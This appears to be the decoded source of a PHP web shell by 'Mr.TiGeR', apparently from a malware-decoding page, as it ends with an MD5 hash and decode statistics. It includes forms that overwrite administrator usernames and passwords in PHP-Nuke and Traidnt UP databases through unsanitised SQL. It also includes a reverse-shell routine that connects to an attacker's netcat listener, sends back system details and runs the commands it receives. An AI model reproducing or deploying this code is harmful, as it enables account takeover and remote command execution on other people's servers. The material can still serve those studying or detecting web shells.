    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=phpnuke type=text name=dbnpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbupnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbppnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=pspnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=nuke_ type=text name=prpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhpnk = $_POST['dbhpnk'];
$dbnpnk  = $_POST['dbnpnk'];
$dbupnk = $_POST['dbupnk'];
$dbppnk  = $_POST['dbppnk'];
         @mysql_connect($dbhpnk,$dbupnk,$dbppnk);
         @mysql_select_db($dbnpnk);

$urpnk=str_replace("\'","'",$urpnk);
$set_urpnk = $_POST['urpnk'];

$pspnk=str_replace("\'","'",$pspnk);
$pass_pnk = $_POST['pspnk'];
$set_pspnk = md5($pass_pnk);

$pnk_prefix = $_POST['prpnk'];

$table_name6 = $pnk_prefix."users" ;
$table_name7 = $pnk_prefix."authors" ;

$tiger15 = "UPDATE $table_name6 SET username ='".$set_urpnk."' WHERE user_id ='2'";
$tiger16 = "UPDATE $table_name6 SET user_password ='".$set_pspnk."' WHERE user_id ='2'";

$tiger17 = "UPDATE $table_name7 SET aid ='".$set_urpnk."' WHERE radminsuper ='1'";
$tiger18 = "UPDATE $table_name7 SET pwd ='".$set_pspnk."' WHERE radminsuper ='1'";

$ok8=@mysql_query($tiger15);
$ok8=@mysql_query($tiger16);
$ok8=@mysql_query($tiger17);
$ok8=@mysql_query($tiger18);

if($ok8){
echo "<script>alert('PHP-NUKE Info Changed ;)');</script>";
}
}

//Traidnt UP
if (isset($_POST['up']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change Traidnt UP Info<br>Patch Control Panel : [patch]/uploadcp<br>Path Config : [patch]/includes/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=upload type=text name=dbnup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=psup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhup = $_POST['dbhup'];
$dbnup  = $_POST['dbnup'];
$dbuup = $_POST['dbuup'];
$dbpup  = $_POST['dbpup'];
         @mysql_connect($dbhup,$dbuup,$dbpup);
         @mysql_select_db($dbnup);

$urup=str_replace("\'","'",$urup);
$set_urup = $_POST['urup'];

$psup=str_replace("\'","'",$psup);
$pass_up = $_POST['psup'];
$set_psup = md5($pass_up);

$tiger19 = "UPDATE admin SET admin_user ='".$set_urup."' WHERE admin_id ='1'";
$tiger20 = "UPDATE admin SET admin_password ='".$set_psup."' WHERE admin_id ='1'";

$ok9=@mysql_query($tiger19);
$ok9=@mysql_query($tiger20);

if($ok9){
echo "<script>alert('Traidnt UP Info Changed ;)');</script>";
}
}

//Copyright

//CODED BY tiger
//END
?>
<?
print ( '<title>Mr.TiGeR Connect</title>' );

echo "<center><table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'>
	<tr>
		<td><font color='#FF0000'>
		  <center></font><font size='4'><font color='#FF0000'>
		  </font><b><font color='#FF0000'>
		  Mr.TiGeR</font><font color='#000000'><br></font>
			<font color='#0000FF'>
			</b></tr><br><b>Mr.TiGeR Connect<br> 
            Usage: nc -vv -l -p 21<br>
            <hr> 
            <form method='POST' action=''><br> 
            Your IP & Port:<br> 
            <input type='text' name='ipim' size='15' value=''>
            <input type='text' name='portum' size='5' value='21'><br><br> 
            <input type='submit' value='Connect'><br><br>
            <hr>
            </form>"; 
            
         $ipim=$_POST['ipim']; 
         $portum=$_POST['portum']; 
         if ($ipim <> "") 
         { 
         $mucx=fsockopen($ipim , $portum , $errno, $errstr ); 
         if (!$mucx){ 
               $result = "Error: didnt connect !!!"; 
         } 
         else { 
         
         $zamazing0="\n";
                  
         fputs ($mucx ,"\nwelcome Mr.TiGeR\n\n");
         fputs($mucx , system("uname -a") .$zamazing0 );
         fputs($mucx , system("pwd") .$zamazing0 );
         fputs($mucx , system("id") .$zamazing0.$zamazing0 );
         while(!feof($mucx)){  
       fputs ($mucx); 
       $one="[$";
       $two="]";
       $result= fgets ($mucx, 8192); 
      $message=`$result`; 
       fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); 
      } 
      fclose ($mucx); 
         } 
         } 

?>

Function Calls

None

Variables

None

Stats

MD5 fbd21acd2c830e2fef81adc79bdfd741
Eval Count 0
Decode Time 1674 ms